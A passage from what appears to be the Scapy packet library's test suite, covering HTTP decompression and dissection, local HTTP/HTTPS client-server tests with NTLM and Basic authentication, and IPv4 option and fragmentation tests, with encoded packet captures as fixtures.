ae78cae33a075e4fd65ae24ae5912b96f8393f162662592c001b599316a0f23a5045e09d1c9156e0018b8becdd55384a6c5548ec3ab0aacab6654aea41753f6f94c5442c3b8ce45796222d92862bd88d321f62b6ad843a8e724dc9a25c97283d9048cca04671ad1ed531f9a04749e3c94a54db94448b8c347662de236722301fd8e4998181fbb2ed1a2a518f96aa608f2a2d8c5a6f6a318a0bf6c7a9ea545859a9ce5c73cc33624d2f18323731ca1629d578509c65bc9faa4e9b4546997e35c24ad628a9daf30cf8ccdc1e2975bb0ad7d34843902b4ab3dda3aa6007da306e69c7761ba5e5b251ae842d9944565ea2abbc4b8df9ead21dc49d64a82c5d7e3c751bb4e8682501a229b15a89874ee0f927bd3f83120e480e3886de82e6781ca7541c96770b8171fa1ae85fde6dba2c6531fcc2acb1635d5d2e2cec7be329f0548a1bf40aba5175d638798d91dcbe9adf69304a62b9ece1efc36b69cf843a6228cfac4bdeffc90e52dc695036f40ca81d465c588c97a0ee8909bfdb4ea60b85f6e6460db4336665d0614da62c5a2a4765b05f837a875ab293b318bd638ce3f514b7b06925eed123cfac2d17f6b832174b7bbba976a810d75215b59d1c4046a10ee994115d6032f42fdb4fb5cc1bd4b95956e7c2deb0be0226ad604f057e83b6948ac7ebe4c887bee9e96ada4f907d501d3ce880e808751d7a1eea7571caab4a64d53b05788606663927e386381a60806e427fe94df960b53784ded2a79502ecbd97f56432ddd7469633143bec76a06f205f3816fbaace90c01983327d89ecabec9caf19a8513e6a10f4db13fef033de5d65fa897a04fa090c4fd25ea5b0be0dfa66d73ce81fa28b15803dcd50a9a55d9f804ab4c343bcac8f769d631ec49d494b85d8f9d58246c3fd9213d875e04ad79aa19ee38c61aad5e57ec986ea14481378873912e225703bf52906ce50969f9f1eeb69e1647ff3f7bbbadf87fe8c7c356b55d7848a166a7a28b8fa08fc1966fba09dfa2cb5558ed85331a90b941948e0cf6a66c124a5d333f469063d7c7cd8bf9d3335e788f8817c41dd41cfdb73f91274e734b6f63a7fc17eb7e80b9063c3077bc027cb67630dfc33620bf20ff9cb9e8f74d59b09f1243cb1172828eef50e54ff2055fdb74eab7ee7c25af5ffe821821861679b9838e1c5d07dd7d36d890f81392e6a34fee64b1596af189c5c95aa6809767dab540416a5130f4c65e4142bf3b05b91987dd075eca2881300b30388ecc9aae77b55568466cec2a4e40c622edf8c39b61917277a5cbc4473873bc42d575f610da6be6731f180470bcb63819b5690d6c5a9f839aede05be82ee419f75206f890116038f421378abf78a2b716c416de7978d7105ebc3cd66135853e2233dd07106855ae1528e422dae39e674fc2a70a0b70b75b4eed74eabcb150ddfc33a40fd029eb130db8026d4c569e6c364b75d57e68711c6996299cd63c5131db4386a75d10ef085e162e02599cd0ae91ee087e0d97525365dae67a5f319c51ecf19c608ed3c3b5358f89ba626fbc853a83f7cbe2517ff7fdd09fb4a167b9c7521bb6480dad7ae4bf0a280732acc605093b807c62e8db97ab406e65e09f47614db5d2bc4d90ce6e704d64dad006b519c093003e21431541588af02b119f9605b60a55abcc27af6f4385dbb8419796e9746c5d3f770ffc991aea4fa93d555de50c5ccd65afa3bdbafb677b4a7857a039349df6781f98e5b021ec0fdf05e7ea433a36b657a1614d9769d4bdf5f30c68d920dba34d9b5e951881a0333bd6fa8ac8f1a041c088ff25a81ebf0ae00731c62ccc471916c665a0671916626cca7876bee8e475d58e8149bee899a00fab9e4cba40376c4f02e32ccec4b73e1ac754dec16d996cbadb537b06aded2007de54b36031850273ce854fee879818177915a2fc0aab531e6dda52380b6433c987ecdc377137c8ff04c5a9fe27535a9da18df751ce11ed6016a6f6852b3154e4562b99dc7be30d4ec695f5d817f55a8996c76078d3545e0d8c9dc1a3ea808d64f8a9f4e7b4ba9eca439017c9879e15db47bb856217166f775a87da8cda335e9bb6816afa3e7ef15531d67eac379208d29bcefc17bd09ae7c89753bcc2ba3ae45ed287d9086b1a351f9f43653caacb520774a37d72bfe3e916fa07f488d57e175475dd1f2a1cd8097541b1de007a2bfacf4fa496dce553bed909353734cb59abfe973788f47356f5373e1bcf50f5b79e3aadfaea9752d57fe2dcf9fc3f12449b642560b406936edc87a9a671d8e190c142adc70a752b6af9471583f369622624cce82468738fe94c6406dfdfe1e9b48ef2b0425a34e44217bb491b90b27b9207efa91e5c97ed5aa70a33ce349dda21468d3139817c452d0fe7a00e073317be1d1c72c039ad2587fa855c17659e39d1f79d74ff32f4ec388d37d4a480bd3b3210c3cdbbc06fec26a0f4c7e8a0bca9d515562c4d70b60e1083ca7ca9c34c044adc4c2216660612dfdd3bda686c4094d27900e635e06a76aa5212403785560f666098afe71039881a70b7427916238d0ce063364f5493f53b1dc605f4d7c36fcce537878f107b04917eb22c46dffedace9fdcc8cefc6e7f0c4f117fec17ce9c22be8def6ead4737de9c5f270ecf3711e7f469e4099cfced8fa738c1bd706e020efd7582d8d838bf893c79f915fdb97780f88914d1bf1bb17301105fdf7aeade88f7f1f57753c4d5dd88fa73e0eb1ba39f3de9eb6f03f7f1731667e3c5db9f449cc71fbd27ce131b6fdefc2d82589f60e66892cc35f72f6e96fbd100cf22836772742127f60fe00e9dcf51cc359ab996a7733551beb8d91d1c2c0607d772c5b06f8d0657e9edfc7681ce5dee99f3209a5fb9b8a9f40f62b87bfaf0f3f8b8f1f471e8ddc790543e7fcf53c8d3e79bd160155d1d45bef76cce1af50f6683e87a4fae6eede169e57b5eb8909d7c3f70fecfbef5a31fca3d417c43bdf3d01fbcbd3dffe487b9bff32e2f7fe7a7be9afbe36f7ce017ef7cfda5f9c75efcf1e6ab8f7e977ef83bd75efccdeffdedaf7fe2d5c68d5bc27f773f4fccbff6a12b2ffcfbfcab46e195debbcd7f78fc8b9ff9af2fffc86bbf97ffc0affcf42fc7413ffac3e056d278f89b2f49d35ffa4fe537aa7ffe730f73af7df07bcf5cdebdfd6b7f49bcf4c17f79cf67e4e1e0574f24eb3e49ff549af4c5e964bd60a5c97a6ce3cde1ebc40fc43971dc7ef9f6ad1467fec371d8d123f73b648fd243f64f9f164ffd39c0b261647e70f8cf19ca9de0be28f314e5d63d511e03947fca50fee323f7f5e9d3a94fd1199f6c40fa192cfee177d0a7ff055f2af0bdf5180000\"))\n\npkts = sniff(offline=io.BytesIO(pcap), session=TCPSession)\n\nassert HTTPRequest in pkts[3]\nassert pkts[3].Method == b\"POST\"\nassert len(pkts[3].load) == 4491\n\nassert HTTPResponse in pkts[8]\nassert pkts[8].Http_Version == b'HTTP/1.1'\nassert len(pkts[8].load) == 134\n\n= HTTP decompression (brotli)\n~ brotli\n\nconf.debug_dissector = True\nload_layer(\"http\")\n\nimport os\nimport brotli\n\nfilename = scapy_path(\"/test/pcaps/http_compressed-brotli.pcap\")\n\n# First without auto decompression\n\nconf.contribs[\"http\"][\"auto_compression\"] = False\npkts = sniff(offline=filename, session=TCPSession)\n\ndata = b'\\x1f\\x41\\x00\\xe0\\xc5\\x6d\\xec\\x77\\x56\\xf7\\xb5\\x8b\\x1c\\x52\\x10\\x48\\xe0\\x90\\x03\\xf6\\x6f\\x97\\x30\\xd0\\x40\\x24\\xb8\\x01\\x9b\\xdb\\xa0\\xf4\\x5c\\x92\\x4c\\xc4\\x6f\\x89\\x58\\xf7\\x4b\\xf7\\x4b\\x6f\\x8c\\x2e\\x2c\\x28\\x64\\x06\\x1d\\x03'\n\npkts[0].show()\nassert HTTPResponse in pkts[0]\nassert pkts[0].Content_Encoding == b'br'\nassert pkts[0].Content_Type == b'text/plain'\nassert pkts[0].load == data\n\n# Now with auto decompression\n\nconf.contribs[\"http\"][\"auto_compression\"] = True\npkts = sniff(offline=filename, session=TCPSession)\n\npkts[0].show()\nassert HTTPResponse in pkts[0]\nassert pkts[0].load == b'This is a test file for testing brotli decompression in Wireshark\\n'\n\n= HTTP decompression (zstd)\n~ zstd\n\nconf.debug_dissector = True\nload_layer(\"http\")\n\nimport os\nimport zstandard\n\n# sample server: $ socat -v TCP-LISTEN:8080,fork,reuseaddr SYSTEM:'(echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Encoding: zstd\\r\\n\\r\\n\") > tmp && dd bs=1G count=1 status=none | zstd --stdout >> tmp && cat tmp'\n# sample client: $ curl -v localhost:8080/tmp_echo_zstd_request_for_testing -o a.html\nfilename = scapy_path(\"/test/pcaps/http_compressed-zstd.pcap\")\n\n# First without auto decompression\n\nconf.contribs[\"http\"][\"auto_compression\"] = False\npkts = sniff(offline=filename)\n\ndata = b'\\x28\\xb5\\x2f\\xfd\\x04\\x58\\x45\\x03\\x00\\xf2\\x06\\x19\\x1c\\x70\\x89\\x1b\\xf6\\x4f\\x21\\x1a\\xbb\\x28\\xda\\x9a\\x1c\\x34\\xb8\\x68\\x1f\\xd2\\x82\\xd7\\x01\\x8d\\x36\\xe5\\x57\\x1d\\x0f\\x38\\x10\\xa9\\xa9\\x86\\x32\\x96\\x3d\\xd4\\xce\\x2d\\xa9\\x2b\\x01\\x92\\x94\\xa8\\x17\\x23\\xb7\\xec\\x9f\\x6e\\x96\\x23\\xb6\\x13\\x52\\x97\\xb2\\x14\\xf6\\x0e\\x9d\\x57\\x70\\xf0\\x2d\\x7b\\x87\\x4c\\x2a\\x92\\x10\\x35\\x68\\x8d\\xd9\\xe6\\x41\\xbc\\xf7\\x73\\x84\\x07\\x7e\\xef\\x48\\xd1\\x91\\x0d\\xef\\x0b\\x86\\x8e\\x6b\\x86\\x12\\xaf\\xb6\\x05\\x04\\x01\\x00\\x29\\x52\\xd2\\xfa'\n\npkts[0].show()\nassert HTTPResponse in pkts[0]\nassert pkts[0].Content_Encoding == b'zstd'\nassert pkts[0].load == data\n\n# Now with auto decompression\n\nconf.contribs[\"http\"][\"auto_compression\"] = True\npkts = sniff(offline=filename)\n\npkts[0].show()\nassert HTTPResponse in pkts[0]\nassert b'tmp_echo_zstd_request_for_testing' in pkts[0].load\n\n= HTTP PSH bug fix\n\nfilename = scapy_path(\"/test/pcaps/http_tcp_psh.pcap.gz\")\n\npkts = sniff(offline=filename, session=TCPSession)\n\nassert len(pkts) == 14\n# Verify a split header exists in the packet\nassert pkts[5].User_Agent == b'example_user_agent'\n\n# Verify all of the response data exists in the packet\nassert int(pkts[7][HTTP].Content_Length.decode()) == len(pkts[7][Raw].load)\n\n= HTTP build\n\npkt = TCP()/HTTP()/HTTPRequest(Method=b'GET', Path=b'/download', Http_Version=b'HTTP/1.1', Accept=b'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', Accept_Encoding=b'gzip, deflate', Accept_Language=b'en-US,en;q=0.5', Cache_Control=b'max-age=0', Connection=b'keep-alive', Host=b'scapy.net', User_Agent=b'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0')\nraw_pkt = raw(pkt)\nraw_pkt\nassert raw_pkt == b'\\x00P\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x00\\x00\\x00\\x00GET /download HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nCache-Control: max-age=0\\r\\nConnection: keep-alive\\r\\nContent-Length: 0\\r\\nHost: scapy.net\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0\\r\\n\\r\\n'\n\n= HTTP 1.1 -> HTTP 2.0 Upgrade (h2c)\n~ Test h2c\n\nconf.debug_dissector = True\nload_layer(\"http\")\nfrom scapy.contrib.http2 import H2Frame\n\nimport os\n\nfilename = scapy_path(\"/test/pcaps/http2_h2c.pcap\")\n\npkts = sniff(offline=filename, session=TCPSession)\n\nassert HTTPResponse in pkts[1]\nassert pkts[1].Connection == b\"Upgrade\"\nassert H2Frame in pkts[1]\nassert pkts[1][H2Frame].settings[0].id == 3\n\nfor i in range(3, 10):\n    assert HTTP not in pkts[i]\n    assert H2Frame in pkts[i]\n\n= Test chunked with gzip\n\nconf.contribs[\"http\"][\"auto_compression\"] = False\nconf.contribs[\"http\"][\"auto_chunk\"] = False\nz = b'\\x1f\\x8b\\x08\\x00S\\\\-_\\x02\\xff\\xb3\\xc9(\\xc9\\xcd\\xb1\\xcb\\xcd)\\xb0\\xd1\\x07\\xb3\\x00\\xe6\\xedpt\\x10\\x00\\x00\\x00'\na = IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(seq=1)/HTTP()/HTTPResponse(Content_Encoding=\"gzip\", Transfer_Encoding=\"chunked\")/(b\"5\\r\\n\" + z[:5] + b\"\\r\\n\")\nb = IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(seq=len(a[TCP].payload)+1)/HTTP()/(hex(len(z[5:])).encode()[2:] + b\"\\r\\n\" + z[5:] + b\"\\r\\n0\\r\\n\\r\\n\")\nxa, xb = IP(raw(a)), IP(raw(b))\nconf.contribs[\"http\"][\"auto_compression\"] = True\nconf.contribs[\"http\"][\"auto_chunk\"] = True\n\nc = sniff(offline=[xa, xb], session=TCPSession)[0]\nimport gzip\nassert gzip.decompress(z) == c.load\n\n+ Test HTTP client/server\n\n= Util function to launch HTTP_server\n~ http-client https-client\n\nfrom scapy.layers.http import (\n    HTTP_Server,\n    HTTPS_Server,\n    HTTP_AUTH_MECHS,\n)\n\nclass run_httpserver:\n    def __init__(self, mech=None, ssp=None, ssl=False, **kwargs):\n        self.server = None\n        self.mech = mech\n        self.ssp = ssp\n        self.ssl = ssl\n        self.kwargs = kwargs\n    def __enter__(self):\n        if self.ssl:\n            cls = HTTPS_Server\n            self.kwargs[\"cert\"] = scapy_path(\"/test/scapy/layers/tls/pki/srv_cert.pem\")\n            self.kwargs[\"key\"] = scapy_path(\"/test/scapy/layers/tls/pki/srv_key.pem\")\n            print(\"@ Starting https server\")\n        else:\n            cls = HTTP_Server\n            print(\"@ Starting http server\")\n        # Start server\n        self.server = cls.spawn(\n            8080,\n            iface=conf.loopback_name,\n            mech=self.mech, ssp=self.ssp,\n            bg=True,\n            **self.kwargs,\n        )\n        # wait for it to start\n        for i in range(10):\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.settimeout(1)\n            try:\n                sock.connect((\"127.0.0.1\", 8080))\n                break\n            except Exception:\n                time.sleep(0.5)\n            finally:\n                sock.close()\n        else:\n            raise TimeoutError\n        print(\"@ Server started !\")\n    def __exit__(self, exc_type, exc_value, traceback):\n        print(\"@ Stopping http server !\")\n        try:\n            self.server.shutdown(socket.SHUT_RDWR)\n        except OSError:\n            pass\n        self.server.close()\n        if traceback:\n            # failed\n            print(\"\\nTest failed.\")\n            raise traceback\n        print(\"@ http server stopped !\")\n\n\n= HTTP - HTTP_client fails to ask HTTP_server that required authentication\n~ http-client\n\nfrom scapy.layers.http import HTTP_Client\n\nwith run_httpserver(mech=HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(IDENTITIES={\"user\": MD4le(\"password\")})):\n    client = HTTP_Client()\n    resp = client.request(\"http://127.0.0.1:8080\")\n    client.close()\n\nassert resp.Status_Code == b\"401\"\n\n= HTTP - HTTP_client asks HTTP_server with NTLMSSP\n~ http-client\n\nfrom scapy.layers.http import HTTP_Client\n\nwith run_httpserver(mech=HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(IDENTITIES={\"user\": MD4le(\"password\")})):\n    client = HTTP_Client(\n        HTTP_AUTH_MECHS.NTLM,\n        ssp=NTLMSSP(UPN=\"user\", PASSWORD=\"password\"),\n    )\n    resp = client.request(\"http://127.0.0.1:8080\")\n    client.close()\n\nassert resp.load == b'<!doctype html><html><body><h1>OK</h1></body></html>'\n\n= HTTP - HTTP_Server with native python client with Basic auth\n~ http-client\n\nimport urllib.request\nfrom scapy.layers.http import HTTP_Client\n\n# https://docs.python.org/3/howto/urllib2.html#id5 (this is so complicated...)\npassword_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()\npassword_mgr.add_password(None, '127.0.0.1:8080', \"user\", \"password\")\nhandler = urllib.request.HTTPBasicAuthHandler(password_mgr)\nopener = urllib.request.build_opener(handler)\n\nwith run_httpserver(mech=HTTP_AUTH_MECHS.BASIC, BASIC_IDENTITIES={\"user\": \"password\"}):\n    with opener.open('http://127.0.0.1:8080/') as f:\n        html = f.read().decode('utf-8')\n\nassert html == \"<!doctype html><html><body><h1>OK</h1></body></html>\"\n\n\n= HTTP - HTTP_Server with native python client without auth\n~ http-client\n\nimport urllib.request\n\nwith run_httpserver(mech=HTTP_AUTH_MECHS.NONE):\n    with urllib.request.urlopen('http://127.0.0.1:8080/') as f:\n        html = f.read().decode('utf-8')\n\nassert html == \"<!doctype html><html><body><h1>OK</h1></body></html>\"\n\n+ Test HTTPS client/server\n\n= HTTPS - HTTPS_client asks HTTPS_server with NTLMSSP and CBT\n~ https-client\n\nfrom scapy.layers.http import HTTP_Client\n\nwith run_httpserver(mech=HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(IDENTITIES={\"user\": MD4le(\"password\")}), ssl=True):\n    client = HTTP_Client(\n        HTTP_AUTH_MECHS.NTLM,\n        ssp=NTLMSSP(UPN=\"user\", PASSWORD=\"password\"),\n        no_check_certificate=True,\n    )\n    resp = client.request(\"https://127.0.0.1:8080\")\n    client.close()\n\nassert resp.load == b'<!doctype html><html><body><h1>OK</h1></body></html>'\n"
  },
  {
    "path": "test/scapy/layers/inet.uts",
    "content": "% Scapy IPv4 layers tests\n\n############\n############\n+ Test IP options\n\n= IP options individual assembly\n~ IP options\nr = raw(IPOption())\nr\nassert r == b'\\x00\\x02'\nr = raw(IPOption_NOP())\nr\nassert r == b'\\x01'\nr = raw(IPOption_EOL())\nr\nassert r == b'\\x00'\nr = raw(IPOption_LSRR(routers=[\"1.2.3.4\",\"5.6.7.8\"]))\nr\nassert r == b'\\x83\\x0b\\x04\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\nr = raw(IPOption_Timestamp(internet_address='192.168.15.7', timestamp=11223344))\nr\nassert r == b'D\\x0c\\t\\x01\\xc0\\xa8\\x0f\\x07\\x00\\xabA0'\nr = raw(IPOption_Timestamp(flg=0, length=8))\nr\nassert r == b'D\\x08\\t\\x00\\x00\\x00\\x00\\x00'\n\n= IP options individual dissection\n~ IP options\nio = IPOption(b\"\\x00\")\nio\nassert io.option == 0 and isinstance(io, IPOption_EOL)\nio = IPOption(b\"\\x01\")\nio\nassert io.option == 1 and isinstance(io, IPOption_NOP)\nlsrr=b'\\x83\\x0b\\x04\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\np=IPOption_LSRR(lsrr)\np\nq=IPOption(lsrr)\nq\nassert p == q\n\n= IP assembly and dissection with options\n~ IP options\np = IP(src=\"9.10.11.12\",dst=\"13.14.15.16\",options=IPOption_SDBM(addresses=[\"1.2.3.4\",\"5.6.7.8\"]))/TCP()\nr = raw(p)\nr\nassert r == b'H\\x00\\x004\\x00\\x01\\x00\\x00@\\x06\\xa2q\\t\\n\\x0b\\x0c\\r\\x0e\\x0f\\x10\\x95\\n\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x00\\x00\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00_K\\x00\\x00'\nq=IP(r)\nq\nassert  isinstance(q.options[0],IPOption_SDBM) \nassert  q[IPOption_SDBM].addresses[1] == \"5.6.7.8\" \np.options[0].addresses[0] = '5.6.7.8'\nassert  IP(raw(p)).options[0].addresses[0] == '5.6.7.8' \np = IP(src=\"9.10.11.12\", dst=\"13.14.15.16\", options=[IPOption_NOP(),IPOption_LSRR(routers=[\"1.2.3.4\",\"5.6.7.8\"]),IPOption_Security(transmission_control_code=\"XYZ\")])/TCP()\np\nr = raw(p)\nr\nassert r == b'K\\x00\\x00@\\x00\\x01\\x00\\x00@\\x06\\xf3\\x83\\t\\n\\x0b\\x0c\\r\\x0e\\x0f\\x10\\x01\\x83\\x0b\\x04\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x82\\x0b\\x00\\x00\\x00\\x00\\x00\\x00XYZ\\x00\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00o[\\x00\\x00'\nq = IP(r)\nq\nassert q[IPOption_LSRR].get_current_router() == \"1.2.3.4\"\nassert q[IPOption_Security].transmission_control_code == b\"XYZ\"\nassert q[TCP].flags == 2\n\n\n############\n############\n+ Sessions\n\n= IPSession - dissect fragmented IP packets on-the-flow\npacket = IP()/(\"data\"*1000)\nfrags = fragment(packet)\ntmp_file = get_temp_file()\nwrpcap(tmp_file, frags)\n\ndissected_packets = []\ndef callback(pkt):\n    dissected_packets.append(pkt)\n\nsniff(offline=tmp_file, session=IPSession, prn=callback)\nassert len(dissected_packets) == 1\nassert raw(dissected_packets[0]) == raw(packet)\n\n= IPSession - contains non-IP packets\n\npkts = fragment(IP(dst=\"10.0.0.5\")/ICMP()/(\"X\"*1500))\npkts.insert(1, ARP())\nassert len(pkts) == 3\n\npkts = sniff(offline=pkts, session=IPSession)\nassert len(pkts) == 2\nassert pkts[1].load == b\"X\" * 1500\n\n= IPSession - summary with RandIP() does not crash\n\npkt = IP(dst=RandIP())\ns = pkt.summary()\nassert isinstance(s, str)\n\n= StringBuffer\n\nbuffer = StringBuffer()\nassert not buffer\n\nbuffer.append(b\"kie\", 5)\nbuffer.append(b\"e\", 11)\nbuffer.append(b\"pi\", 2)\nbuffer.append(b\"pi\", 9)\nbuffer.append(b\"n\", 4)\n\nassert bytes_hex(bytes(buffer)) == b'0070696e6b696500706965'\nassert len(buffer) == 11\nassert buffer\n\nbuffer = StringBuffer()\nbuffer.append(b\"\")\nassert not buffer\nassert bytes(buffer) == b\"\"\n\n############\n############\n+ Test fragment() / defragment() functions\n\n= fragment()\npayloadlen, fragsize = 100, 8\nassert fragsize % 8 == 0\nfragcount = (payloadlen // fragsize) + bool(payloadlen % fragsize)\n* create the packet\npkt = IP() / (\"X\" * payloadlen)\n* create the fragments\nfrags = fragment(pkt, fragsize)\n* count the fragments\nassert len(frags) == fragcount\n* each fragment except the last one should have MF set\nassert all(p.flags == 1 for p in frags[:-1])\nassert frags[-1].flags == 0\n* each fragment except the last one should have a payload of fragsize bytes\nassert all(len(p.payload) == 8 for p in frags[:-1])\nassert len(frags[-1].payload) == ((payloadlen % fragsize) or fragsize)\n\n= fragment() and overloaded_fields\npkt1 = Ether() / IP() / UDP()\npkt2 = fragment(pkt1)[0]\npkt3 = pkt2.__class__(raw(pkt2))\nassert pkt1[IP].proto == pkt2[IP].proto == pkt3[IP].proto\n\n= fragment() already fragmented packets\npayloadlen = 1480 * 3\nffrags = fragment(IP() / (\"X\" * payloadlen), 1480)\nffrags = fragment(ffrags, 1400)\nlen(ffrags) == 6\n* each fragment except the last one should have MF set\nassert all(p.flags == 1 for p in ffrags[:-1])\nassert ffrags[-1].flags == 0\n* fragment offset should be well computed\nplen = 0\nfor p in ffrags:\n    assert p.frag == plen // 8\n    plen += len(p.payload)\n\nassert plen == payloadlen\n\n= fragment() with non-multiple-of-8 MTU\npaylen = 1400 + 1\nfrags1 = fragment(IP() / (\"X\" * paylen), paylen)\nassert len(frags1) == 1\nfrags2 = fragment(IP() / (\"X\" * (paylen + 1)), paylen)\nassert len(frags2) == 2\nassert len(frags2[0]) == 20 + paylen - paylen % 8\nassert len(frags2[1]) == 20 + 1 + paylen % 8\n\n= fragment() with fragsize lower than 8\npaylen = 5\nfragsize = paylen\nfrags1 = fragment(IP() / (\"X\" * paylen), paylen)\nassert len(frags1) == 1\nassert bytes(frags1[0].payload) == b\"X\" * paylen\n\nfragsize = paylen + 1\nfrags2 = fragment(IP() / (\"X\" * paylen), fragsize)\nassert len(frags2) == 1\nassert bytes(frags2[0].payload) == b\"X\" * paylen\n\npaylen = 16\nfragsize = 5\nfrags3 = fragment(IP() / (\"X\" * paylen), fragsize)\nassert len(frags3) == 2\nassert bytes(frags3[0].payload) == b\"X\" * 8\nassert bytes(frags3[1].payload) == b\"X\" * 8\n\n= defrag()\nnonfrag, unfrag, badfrag = defrag(frags)\nassert not nonfrag\nassert not badfrag\nassert len(unfrag) == 1\n\n= defragment()\ndefrags = defragment(frags)\n* we should have one single packet\nassert len(defrags) == 1\n* which should be the same as pkt reconstructed\nassert bytes(defrags[0]) == bytes(pkt)\n\n= defragment() uses timestamp of last fragment\npayloadlen, fragsize = 100, 8\nassert fragsize % 8 == 0\npacket = Ether()/IP()/(\"X\" * payloadlen)\nfrags = fragment(packet, fragsize)\nfor i,frag in enumerate(frags):\n    frag.time -= 100 + i\n\nlast_time = max(frag.time for frag in frags)\ndefrags = defragment(frags)\nassert defrags[0].time == last_time\nnonfrag, defrags, badfrag = defrag(frags)\nassert defrags[0].time == last_time\n\n= defragment() - Missing fragments\n\npkts = fragment(IP(dst=\"10.0.0.5\")/ICMP()/(\"X\"*1500))\nassert len(defragment(pkts[1:])) == 1\n\n= defrag() / defragment() - Real DNS packets\n\nimport base64\n\na = base64.b64decode('bnmYJ63mREVTUwEACABFAAV0U8UgADIR+u0EAgIECv0DxAA1sRIL83Z7gbCBgAABAB0AAAANA255YwNnb3YAAP8AAcAMAAYAAQAAA4QAKgZ2d2FsbDDADApob3N0bWFzdGVywAx4Og5wAAA4QAAADhAAJOoAAAACWMAMAC4AAQAAA4QAmwAGCAIAAAOEWWm9jVlgdP0mfQNueWMDZ292AHjCDBL0C1rEKUjsuG6Zg3+Rs6gj6llTABm9UZnWk+rRu6nPqW4N7AEllTYqNK+r6uFJ2KhfG3MDPS1F/M5QCVR8qkcbgrqPVRBJAG67/ZqpGORppQV6ib5qqo4ST5KyrgKpa8R1fWH8Fyp881NWLOZekM3TQyczcLFrvw9FFjdRwAwAAQABAAADhAAEobkenMAMAC4AAQAAA4QAmwABCAIAAAOEWWm9jVlgdP0mfQNueWMDZ292ABW8t5tEv9zTLdB6UsoTtZIF6Kx/c4ukIud8UIGM0XdXnJYx0ZDyPDyLVy2rfwmXdEph3KBWAi5dpRT16nthlMmWPQxD1ecg9rc8jcaTGo8z833fYJjzPT8MpMTxhapu4ANSBVbv3LRBnce2abu9QaoCdlHPFHdNphp6JznCLt4jwAwAMAABAAADhAEIAQEDCAMBAAF77useCfI+6T+m6Tsf2ami8/q5XDtgS0Ae7F0jUZ0cpyYxy/28DLFjJaS57YiwAYaabkkugxsoSv9roqBNZjD+gjoUB+MK8fmfaqqkSOgQuIQLZJeOORWD0gAj8mekw+S84DECylbKyYEGf8CB3/59IfV+YkTcHhXBYrMNxhMK1Eiypz4cgYxXiYUSz7jbOmqE3hU2GinhRmNW4Trt4ImUruSO+iQbTTj6LtCtIsScOF4vn4gcLJURLHOs+mf1NU9Yqq9mPC9wlYZk+8rwqcjVIiRpDmmv83huv4be1x1kkz2YqTFwtc33Fzt6SZk96Qtk2wCgg8ZQqLKGx5uwIIyrwAwAMAABAAADhAEIAQEDCAMBAAGYc7SWbSinSc3u8ZcYlO0+yZcJD1vqC5JARxZjKNzszHxc9dpabBtR9covySVu1YaBVrlxNBzfyFd4PKyjvPcBER5sQImoCikC+flD5NwXJbnrO1SG0Kzp8XXDCZpBASxuBF0vjUSU9yMqp0FywCrIfrbfCcOGAFIVP0M2u8dVuoI4nWbkRFc0hiRefoxc1O2IdpR22GAp2OYeeN2/tnFBz/ZMQitU2IZIKBMybKmWLC96tPcqVdWJX6+M1an1ox0+NqBZuPjsCx0/lZbuB/rLHppJOmkRc7q2Fw/tpHOyWHV+ulCfXem9Up/sbrMcP7uumFz0FeNhBPtg3u5kA5OVwAwAMAABAAADhACIAQADCAMBAAF5mlzmmq8cs6Hff0qZLlGKYCGPlG23HZw2qAd7N2FmrLRqPQ0R/hbnw54MYiIs18zyfm2J+ZmzUvGd+gjHGx3ooRRffQQ4RFLq6g6oxaLTbtvqPFbWt4Kr2GwX3UslgZCzH5mXLNpPI2QoetIcQCNRdcxn5QpWxPppCVXbKdNvvcAMADAAAQAAA4QAiAEAAwgDAQABqeGHtNFc0Yh6Pp/aM+ntlDW1fLwuAWToGQhmnQFBTiIUZlH7QMjwh5oMExNp5/ABUb3qBsyk9CLanRfateRgFJCYCNYofrI4S2yqT5X9vvtCXeIoG/QqMSl3PJk4ClYufIKjMPgl5IyN6yBIMNmmsATlMMu5TxM68a/CLCh92L3ADAAuAAEAAAOEAJsAMAgCAAADhFlpvY1ZYHT9Jn0DbnljA2dvdgAViVpFoYwy9dMUbOPDHTKt/LOtoicvtQbHeXiUSQeBkGWTLyiPc/NTW9ZC4WK5AuSj/0+V')\nb = 